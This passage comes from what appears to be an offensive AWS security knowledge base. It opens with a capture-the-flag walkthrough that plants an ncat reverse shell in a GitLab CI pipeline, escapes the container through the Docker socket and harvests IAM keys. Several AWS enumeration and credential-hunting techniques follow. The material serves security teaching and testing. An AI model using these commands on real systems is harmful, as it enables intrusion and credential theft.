      This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the \"docker\" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.

      This looks like a fantastic place to start.

      Getting a Reverse Shell

      Our next step will be to get a shell in this environment. This is where our attackbox can come in.

      Please note: You are welcome to use your C2 platform of choice (If you'd like a recommendation, I'm a fan of Mythic). For this walkthrough I will use netcat for simplicity.

      SSH into your attack box and install a tool called ncat.

      Now, we can setup a listener (from the attackbox) with the following command.

      sudo ncat -l 443 --ssl -v\n

      We can now go back and edit the gitlab-ci.yml file to send a reverse shell. Using Ncat it's as easy as adding the following lines. From our previous foray we know this is an Ubuntu Docker container, and thus, we can use the apt package manager.

      apt update\napt install -y ncat\nncat <attackbox_ip> 443 --ssl -e /bin/bash -v\n

      Now click \"Commit changes\" and watch that pipeline run.

      You are now the proud owner of a reverse shell inside this Docker container.

      Docker Socket

      From here, there are a number of things we could try to do. Your first instinct may be, \"I'm on an EC2 instance, can I reach the metadata service?\". That's a great idea! Unfortunately you can't.

      The bright folks over at SoftHouseIO use IMDSv2, one of the benefits of which is that Docker containers cannot reach it by default.

      TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.\n

      That's a bummer. Other options? Try and pivot off this machine to something else in the VPC? Access a service exposed internally to the host (172.17.0.1)? Escape the container?

      That last one might get us somewhere. Ashley mentioned having some issues about building a Docker container in the pipeline. To do that, wouldn't they have to use something like kaniko? What if they just exposed the Docker socket instead?

      When a Docker socket is exposed inside a container, it can have dangerous consequences as an attacker can potentially escape the container and escalate privileges on the host.

      The common location for the socket is at /var/run/docker.sock, let's go look for it.

      There we go! They did mount the Docker socket! Let's use this to escape the container.

      Escaping the Container

      Note: There are many different ways you could abuse this to escape the container. I will walk through what I think is the simplest.

      First let's install two tools that will make things easier for ourselves.

      apt update\napt install -y python3 docker.io\n

      Python3 will help us to spawn a tty and having the Docker binary will make it easier to interact with the Docker socket. We could alternatively use curl.

      With those two tools installed, let's spawn a tty with the classic Python one-liner.

      python3 -c \"import pty;pty.spawn('/bin/bash')\"\n

      Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.

      docker ps\n

      This output lets us know that everything is working as intended. With access to the Docker socket, let's escape by creating a privileged Docker container (Note: There are a number of options to do this).

      docker run -it --rm --pid=host --privileged ubuntu bash\n

      Now, inside our new privileged container, let's migrate to the namespace of a process running on the host.

      nsenter --target 1 --mount --uts --ipc --net --pid -- bash\n

      How fun is that?! We now have root on the underlying host and have escaped the container.

      Escalating

      With root on the host, we have a number of options for next steps. We can steal IAM credentials from the metadata service, brute force our IAM permissions, enumerate roles in the account to find out what services are running in the account, attempt to escalate IAM privileges, maybe try to intercept the SSM agent if it's running on the box? One place we should check before doing all that is the user data.

      User data is used to run commands when an EC2 instance is first started or after it is rebooted (with the right configuration). This can be very helpful to determine what software is installed on the machine, and it can also potentially be a source of credentials from developers who aren't very careful.

      Let's check this (remember we are using IMDSv2).

      TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n

      On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.

      There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.

      This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: <what's in the useradata>)

      After exploring around for a little while, you may stumble into the the infra-deployer project. That sounds important.

      \"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners\". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the Settings tab on the left and then click CI/CD. Next, click Expand on the Variables section.

      An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).

      export AWS_ACCESS_KEY_ID=AKIA....\nexport AWS_SECRET_ACCESS_KEY=....\naws sts get-caller-identity\n

      And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.

      "},{"location":"aws/capture_the_flag/cicdont/#acknowledgements","title":"Acknowledgements","text":"

      These wonderful folks helped beta-test this CTF and provided feedback.

      Christophe Tafani-Dereeper Jake Berkowsky Kaushik Pal

      "},{"location":"aws/deprecated/stealth_perm_enum/","title":"[Deprecated] Enumerate Permissions without Logging to CloudTrail","text":"
      • Original Research

        Enumerate AWS API Permissions Without Logging to CloudTrail by Nick Frichette

      • Tools mentioned in this article

        aws_stealth_perm_enum

      Warning

      As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

      After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

      Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

      The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

      The following services are affected, although please note, that not all actions for these services can be enumerated.

      application-autoscaling appstream athena autoscaling-plans aws-marketplace cloudhsm codecommit codepipeline codestar comprehend cur datapipeline dax discovery forecast gamelift health identitystore kinesis kinesisanalytics macie mediastore mgh mturk-requester opsworks-cm personalize redshift-data route53domains route53resolver sagemaker secretsmanager shield sms snowball support tagging textract translate workmail

      Note

      For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

      There are some conditions to the enumeration, and they are defined below.

      1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to \"*\".

      To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

      "},{"location":"aws/deprecated/whoami/","title":"[Deprecated] Whoami - Get Principal Name From Keys","text":""},{"location":"aws/deprecated/whoami/#sns-publish","title":"sns publish","text":"

      Warning

      As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

      sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

      user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa\n\nAn error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action\n
      "},{"location":"aws/deprecated/whoami/#sdb-list-domains","title":"sdb list-domains","text":"

      Warning

      As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.

      As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.

      user@host:$ aws sdb list-domains --region us-east-1\n\nAn error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.\n
      "},{"location":"aws/enumeration/account_id_from_ec2/","title":"Enumerate AWS Account ID from an EC2 Instance","text":"

      With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

      "},{"location":"aws/enumeration/account_id_from_ec2/#get-caller-identity","title":"get-caller-identity","text":"

      By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

      user@host:$ aws sts get-caller-identity\n{\n   \"Account\": \"000000000000\",\n   \"UserId\": \"AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000\",\n   \"Arn\": \"arn:aws:sts::000000000000:assumed-role/AmazonLightsailInstanceRole/i-00000000000000000\"\n}\n
      "},{"location":"aws/enumeration/account_id_from_ec2/#metadata","title":"Metadata","text":"

      By using the metadata service, you will be able to retrieve additional information about the account, and more specifically for the EC2 instance being used.

      TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/dynamic/instance-identity/document\n
      The output will reveal additional information.
      {\n   \"accountId\" : \"000000000000\",\n   \"architecture\" : \"x86_64\",\n   \"availabilityZone\" : \"ap-southeast-2a\",\n   \"billingProducts\" : null,\n   \"devpayProductCodes\" : null,\n   \"marketplaceProductCodes\" : null,\n   \"imageId\" : \"ami-042c4533fa25c105a\",\n   \"instanceId\" : \"i-00000000000000000\",\n   \"instanceType\" : \"t2.nano\",\n   \"kernelId\" : null,\n   \"pendingTime\" : \"2022-02-27T22:34:30Z\",\n   \"privateIp\" : \"172.26.6.225\",\n   \"ramdiskId\" : null,\n   \"region\" : \"ap-southeast-2\",\n   \"version\" : \"2017-09-30\"\n}\n

      "},{"location":"aws/enumeration/account_id_from_s3_bucket/","title":"Enumerate AWS Account ID from a Public S3 Bucket","text":"
      • Original Research

        Finding the Account ID of any public S3 bucket by Ben Bridts

      • Tools mentioned in this article

        s3-account-search: A tool to find the account ID an S3 bucket belongs to.

      Note

      When you install a version <0.2.0 using pip, the executable is named s3-account-search.

      By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

      To test this, you can use Grayhat Warfare's list of public S3 buckets.

      You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

      "},{"location":"aws/enumeration/account_id_from_s3_bucket/#installation","title":"Installation","text":"

      The tool can be installed with the following command:

      python3 -m pip install s3-account-search\n
      "},{"location":"aws/enumeration/account_id_from_s3_bucket/#setup","title":"Setup","text":"

      To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the s3:GetObject or s3:ListBucket permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.

      "},{"location":"aws/enumeration/account_id_from_s3_bucket/#usage","title":"Usage","text":"
      s3-account-search arn:aws:iam::123456789123:role/s3-searcher <bucket name>\nStarting search (this can take a while)\nfound: 1\nfound: 12\n*** snip ***\nfound: 123456789123\n

      Operational Security Tip

      As of 2022's announcement, any new buckets are created without the Public Access policy and specifically without any ACLs. The removal of the ACLs means that the GetObject, instead you must enable the AWS ACLs that make S3 Buckets readable in addition to having GetBucket in the IAM Policy. Here is a terraform block to enable this abuse which use to be the default pre-2022.

      ```\nresource \"aws_s3_bucket_ownership_controls\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    rule {\n        object_ownership = \"BucketOwnerPreferred\"\n    }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n\n    block_public_acls       = false\n    block_public_policy     = false\n    ignore_public_acls      = false\n    restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    acl    = \"public-read\"\n\n    depends_on = [\n        aws_s3_bucket_ownership_controls.example,\n        aws_s3_bucket_public_access_block.example\n    ]\n}\n```\n

      Tip

      Pair this with Unauthenticated Enumeration of IAM Users and Roles!

      "},{"location":"aws/enumeration/brute_force_iam_permissions/","title":"Brute Force IAM Permissions","text":"
      • Technique seen in the wild

        Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

      • Tools mentioned in this article

        enumerate-iam: Enumerate the permissions associated with an AWS credential set.

      When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

      This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andr\u00e9s Riancho.

      To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

      user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN\n2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id \"ASIAAAAAAAAAAAAAAAAA\"\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912\n2020-12-20 18:41:26,813 - 13 - [INFO] -- Account Path: assumed-role/role-b/user-b\n2020-12-20 18:41:27,283 - 13 - [INFO] Attempting common-service describe / list brute force.\n2020-12-20 18:41:34,992 - 13 - [INFO] -- codestar.list_projects() worked!\n2020-12-20 18:41:35,928 - 13 - [INFO] -- sts.get_caller_identity() worked!\n2020-12-20 18:41:36,838 - 13 - [INFO] -- dynamodb.describe_endpoints() worked!\n2020-12-20 18:41:38,107 - 13 - [INFO] -- sagemaker.list_models() worked!\n
      "},{"location":"aws/enumeration/brute_force_iam_permissions/#updating-apis","title":"Updating APIs","text":"

      With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.

      cd enumerate_iam/\ngit clone https://github.com/aws/aws-sdk-js.git\npython generate_bruteforce_tests.py\n

      This will create or update a file named bruteforce_tests.py under enumerate-iam.

      "},{"location":"aws/enumeration/brute_force_iam_permissions/#opsec-considerations","title":"OPSEC Considerations","text":"

      One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/","title":"Bypass Cognito Account Enumeration Controls","text":"
      • Additional Resources

        AWS Docs: Managing user existence error responses

      Amazon Cognito is a popular \u201csign-in as a service\u201d offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

      By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

      While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

      Note

      Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#example-responses","title":"Example Responses","text":"

      To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

      Note

      The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists","title":"Prevent user existence errors on and user exists","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist","title":"Prevent user existence errors on and user does not exist","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-exists","title":"Prevent user existence errors off and user exists","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-does-not-exist","title":"Prevent user existence errors off and user does not exist","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.\n

      As you can see, an adversary can use the UserNotFoundException and NotAuthorizedException to enumerate whether an account does or does not exist. By enabling the Prevent user existence errors configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cognito-idpsignup","title":"cognito-idp:SignUp","text":"

      The Prevent user existence errors configuration appears to only impact the initiate-auth flow. It does not impact cognito-idp:SignUp. Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists_1","title":"Prevent user existence errors on and user exists","text":"
      $ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username admin \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n\nAn error occurred (UsernameExistsException) when calling the SignUp operation: User already exists\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist_1","title":"Prevent user existence errors on and user does not exist","text":"
      $ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username notreal \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n{\n    \"UserConfirmed\": false,\n    \"CodeDeliveryDetails\": {\n        \"Destination\": \"b***@b***\",\n        \"DeliveryMedium\": \"EMAIL\",\n        \"AttributeName\": \"email\"\n    },\n    \"UserSub\": \"a20\u2026\"\n}\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#detection-opportunities","title":"Detection Opportunities","text":"

      If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in Unconfirmed user accounts.

      Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cloudtrail-and-cloudwatch-limitations","title":"CloudTrail and CloudWatch Limitations","text":"

      If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the userIdentity who made the API call is Anonymous

      {\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"Unknown\",\n        \"principalId\": \"Anonymous\"\n}\n

      And the username and userAttributes are hidden:

      \"requestParameters\": {\n    \"clientId\": \"719...\",\n    \"username\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"password\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"userAttributes\": \"HIDDEN_DUE_TO_SECURITY_REASONS\"\n}\n

      For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated sourceIPAddress, but not access their details.

      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/","title":"Discover secrets in public AMIs","text":"
      • Original Research

        AWS CloudQuarry: Digging for Secrets in Public AMIs by Eduard Agavriloae and Matei Josephs.

      For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#finding-exposed-amis","title":"Finding Exposed AMIs","text":"

      Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

      However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

      aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>\n
      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#using-public-amis-and-scanning-for-credentials","title":"Using Public AMIs and Scanning for Credentials","text":"

      Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.

      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#launching-an-instance-from-a-public-ami","title":"Launching an Instance from a Public AMI","text":"

      To launch an instance from a public AMI, follow these steps:

      1. Launch an Instance: Using the AWS CLI, launch an instance using the desired AMI:
        aws ec2 run-instances --image-id <image_id> --instance-type t2.micro --key-name <key-pair>\n
      2. Access the Instance: Once the instance is running, connect to it using Session Manager or SSH:
        ssh -i <your-key-pair>.pem ec2-user@<public-dns-of-instance>\n
      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#manually-scanning-for-credentials","title":"Manually Scanning for Credentials","text":"

      Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:

      1. Search for AWS Credentials:
        find / -name \"credentials\" -type f\n
      2. Search for SSH Keys:
        find / -name \"id_rsa\" -type f\n
      3. Look for Configuration Files Containing Sensitive Information: Use grep to locate keywords such as 'password', 'secret', 'key', etc.
        grep -ri 'password\\|secret\\|key' /path/to/search\n
      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#automating-the-process","title":"Automating the Process","text":"

      While the manual process can be effective for targeted searches, automation provides efficiency and consistency at scale.

      You can write scripts or use specialized tools to automate the detection of sensitive information. Here are some approaches:

      1. Using Bash Scripts: Create a script that executes various find and grep commands. Save this as scan.sh:
        #!/bin/bash\n# Search for AWS credentials\nfind /home -name \"credentials\" -print\n\n# Search for SSH keys\nfind /home -name \"id_rsa\" -print\n\n# Search for sensitive information in configuration files\ngrep -ri 'password\\|secret\\|key' /home\n
        Run the script on each instance:
        chmod +x scan.sh\n./scan.sh\n
      2. Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.
      "},{"location":"aws/enumeration/enum_iam_user_role/","title":"Unauthenticated Enumeration of IAM Users and Roles","text":"
      • Original Research

        Hacking AWS end-to-end - remastered by Daniel Grzelak

      • Additional Resources

        Reference: Unauthenticated AWS Role Enumeration (IAM Revisited)

      • Tools mentioned in this article

        • quiet-riot
        • enumerate_iam_using_bucket_policy
        • pacu:iam_enum_roles

      You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

      Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Example permissions\",\n            \"Effect\": \"Deny\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::123456789123:role/role_name\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::*bucket you own*\"\n        }\n    ]\n}\n

      You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.

      There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.

      Warning

      Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).

      Note

      While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.

      Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

      From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

      If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

      There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
      "},{"location":"aws/enumeration/enumerate_principal_arn_from_unique_id/","title":"Derive a Principal ARN from an AWS Unique Identifier","text":"
      • Original Research

        Reversing AWS IAM unique IDs by Aidan Steele

      • Additional Resources

        Reference: Unique identifiers

      When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

      For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

      To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

      First, we will create a role with the following trust policy:

      {\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"AROAJMD24IEMKTX6BABJI\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      We will then save the policy and refresh the page.

      Note

      You may get a warning in the policy editor saying, \"Invalid Role Reference: The Principal element includes the IAM role ID AROAJMD24IEMKTX6BABJI. We recommend that you use a role ARN instead\", however this will not prevent you from saving the policy.

      After refreshing the page the policy will now be as follows:

      {\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::607481581596:role/service-role/abctestrole\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      This reveals the ARN of the role associated with the original unique identifier.

      "},{"location":"aws/enumeration/enumerate_root_email_from_console/","title":"Enumerate Root User Email Address from the AWS Console","text":"

      Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

      From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

      If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

      There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
      "},{"location":"aws/enumeration/get-account-id-from-keys/","title":"Get Account ID from AWS Access Keys","text":"
      • Original Research

        • AWS Access Key ID Formats by Aidan Steele
        • A short note on AWS KEY ID by Tal Be'ery

      While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

      To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

      "},{"location":"aws/enumeration/get-account-id-from-keys/#stsgetaccesskeyinfo","title":"sts:GetAccessKeyInfo","text":"

      Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

      user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456\n{\n    \"Account\": \"123456789012\"\n}\n
      "},{"location":"aws/enumeration/get-account-id-from-keys/#decode-the-access-key","title":"Decode the access key","text":"

      As originally discovered by Aidan Steele, and later improved upon by Tal Be'ery, the account ID is actually encoded into the access key itself.

      By decoding the access key using Base32 and doing a little bit shifting, we can get the account ID. Tal wrote the handy Python script below to do this:

      import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n\n    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n    y = x[0:6]\n\n    z = int.from_bytes(y, byteorder='big', signed=False)\n    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)\n\n    e = (z & mask)>>7\n    return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n
      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/","title":"Loot Public EBS Snapshots","text":"

      For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#making-them-public","title":"Making them Public","text":"

      EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#finding-exposed-snapshots","title":"Finding Exposed Snapshots","text":"

